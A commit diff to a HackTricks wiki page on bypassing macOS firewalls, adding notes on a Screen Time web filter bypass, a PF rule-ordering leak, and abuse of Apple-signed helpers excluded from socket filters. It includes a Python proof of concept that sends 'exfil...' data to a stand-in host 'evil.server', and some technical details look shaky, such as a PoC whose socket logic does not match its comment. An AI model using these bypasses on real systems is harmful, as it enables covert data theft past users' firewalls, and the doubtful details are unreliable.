Merge pull request HackTricks-wiki#1218 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-bypassing-firewalls_20250731_082834

Research Update Enhanced src/macos-hardening/macos-security-...

Author: carlospolop

src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

@@ -79,11 +79,67 @@ If you can **inject code into a process** that is allowed to connect to any serv
 macos-proces-abuse/
 {{#endref}}
 
-## References
+---
 
-- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
+## Recent macOS firewall bypass vulnerabilities (2023-2025)
 
-{{#include ../../banners/hacktricks-training.md}}
+### Web content filter (Screen Time) bypass – **CVE-2024-44206**
+In July 2024 Apple patched a critical bug in Safari/WebKit that broke the system-wide “Web content filter” used by Screen Time parental controls.
+A specially crafted URI (for example, with double URL-encoded “://”) is not recognised by the Screen Time ACL but is accepted by WebKit, so the request is sent out unfiltered. Any process that can open a URL (including sandboxed or unsigned code) can therefore reach domains that are explicitly blocked by the user or an MDM profile.
+
+Practical test (un-patched system):
+
+```bash
+open "http://attacker%2Ecom%2F./"   # should be blocked by Screen Time
+# if the patch is missing Safari will happily load the page
+```
+
+### Packet Filter (PF) rule-ordering bug in early macOS 14 “Sonoma”
+During the macOS 14 beta cycle Apple introduced a regression in the userspace wrapper around **`pfctl`**.
+Rules that were added with the `quick` keyword (used by many VPN kill-switches) were silently ignored, causing traffic leaks even when a VPN/firewall GUI reported *blocked*. The bug was confirmed by several VPN vendors and fixed in RC 2 (build 23A344).
+
+Quick leak-check:
+
+```bash
+pfctl -sr | grep quick       # rules are present…
+sudo tcpdump -n -i en0 not port 53   # …but packets still leave the interface
+```
+
+### Abusing Apple-signed helper services (legacy – pre-macOS 11.2)
+Before macOS 11.2 the **`ContentFilterExclusionList`** allowed ~50 Apple binaries such as **`nsurlsessiond`** and the App Store to bypass all socket-filter firewalls implemented with the Network Extension framework (LuLu, Little Snitch, etc.).
+Malware could simply spawn an excluded process—or inject code into it—and tunnel its own traffic over the already-allowed socket. Apple completely removed the exclusion list in macOS 11.2, but the technique is still relevant on systems that cannot be upgraded.
+
+Example proof-of-concept (pre-11.2):
+
+```python
+import subprocess, socket
+# Launch excluded App Store helper (path collapsed for clarity)
+subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
+# Connect through the inherited socket
+s = socket.create_connection(("evil.server", 443))
+s.send(b"exfil...")
+```
+
+---
 
+## Tooling tips for modern macOS
 
+1. Inspect current PF rules that GUI firewalls generate:
+   ```bash
+   sudo pfctl -a com.apple/250.ApplicationFirewall -sr
+   ```
+2. Enumerate binaries that already hold the *outgoing-network* entitlement (useful for piggy-backing):
+   ```bash
+   codesign -d --entitlements :- /path/to/bin 2>/dev/null \
+       | plutil -extract com.apple.security.network.client xml1 -o - -
+   ```
+3. Programmatically register your own Network Extension content filter in Objective-C/Swift.  
+   A minimal rootless PoC that forwards packets to a local socket is available in Patrick Wardle’s **LuLu** source code.
 
+## References
+
+- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
+- <https://nosebeard.co/advisories/nbl-001.html>
+- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
+
+{{#include ../../banners/hacktricks-training.md}}